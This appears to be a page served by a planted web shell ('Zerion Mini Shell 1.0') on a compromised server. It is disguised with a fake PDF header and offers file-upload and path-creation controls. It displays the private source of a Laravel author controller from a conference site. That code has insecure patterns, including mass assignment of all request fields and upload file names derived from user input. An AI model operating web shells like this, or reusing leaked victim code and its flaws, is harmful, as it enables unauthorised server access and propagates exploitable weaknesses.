%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/conference/app/Http/Controllers/
Upload File :
Create Path :
Current File : /var/www/html/conference/app/Http/Controllers/AuthorController.php

<?php

namespace App\Http\Controllers;

use App\Models\Author;
use Illuminate\Http\Request;
use App\Models\Media;
use App\Providers\MorphableName;
use Carbon\Carbon;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\DB;

class AuthorController extends Controller
{
    /**
     * @param Request $request
     * @return string
     */
    public function index(Request $request)
    {
        $searchString = $request->query('term');
        $authors = Author::query()->where('name', 'like', "%$searchString%")
                         ->orWhere('surname', 'like', "%$searchString%")->get();
        return json_encode($authors);
    }

    /**
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function showAll()
    {
        $authors = Author::query()
            ->paginate(10);
        return view('admin.authors.index', [
            'authors' => $authors
        ]);
    }

    /**
     * @param $author
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function show($author)
    {
        $author = Author::query()->find($author);
        if (!$author) {
            $author = new Author();
        }
        return view('admin.authors.show', [
            'author' => $author
        ]);
    }

    /**
     * @param Request $request
     */
    public function store(Request $request)
    {
        $rules = [
            'name' => 'required|string',
            'surname' => 'required|string',
            'email' => 'required|email',
            'title' => 'required|string',
            'job' => 'required|string',
            'file' => 'required|image',
        ];
        $this->validate($request, $rules);
        DB::beginTransaction();
        try {
            $author = Author::query()
                ->create($request->all());;
            $file = $request->file('file');
            $fileName = $author->name . $author->surname . Carbon::now()->formatLocalized('%d%m%Y%H%M%S') . '.' . last(explode('/',
                    $file->getClientMimeType()));
            $file->move('uploads/profile', $fileName);
            $media = Media::query()->make([
                'model_id' => $author->id,
                'model_type' => MorphableName::forClass(Author::class),
                'file_name' => $fileName,
                'real_file_name' => $file->getClientOriginalName(),
                'media_type' => Media::IMAGE_PROFILE,
            ]);
            $media->save();
            DB::commit();
        } catch (\Exception $exception) {
            DB::rollback();
            \File::delete(public_path('uploads/profile') . '/' . $fileName);
            return $this->show('new');
        }
        return redirect('/admin/authors');
    }

    public function delete($id)
    {
        try{
            $author = Author::find($id);
            if($author){
                \File::delete(public_path('uploads/profile') . '/' . $author->media->first()->file_name);
                $author->media()->get()->destroy();
                $author->destroy();
                return redirect('/admin/authors');
            }
        }catch (\Exception $exception){
            return $exception;
        }
    }
}

Zerion Mini Shell 1.0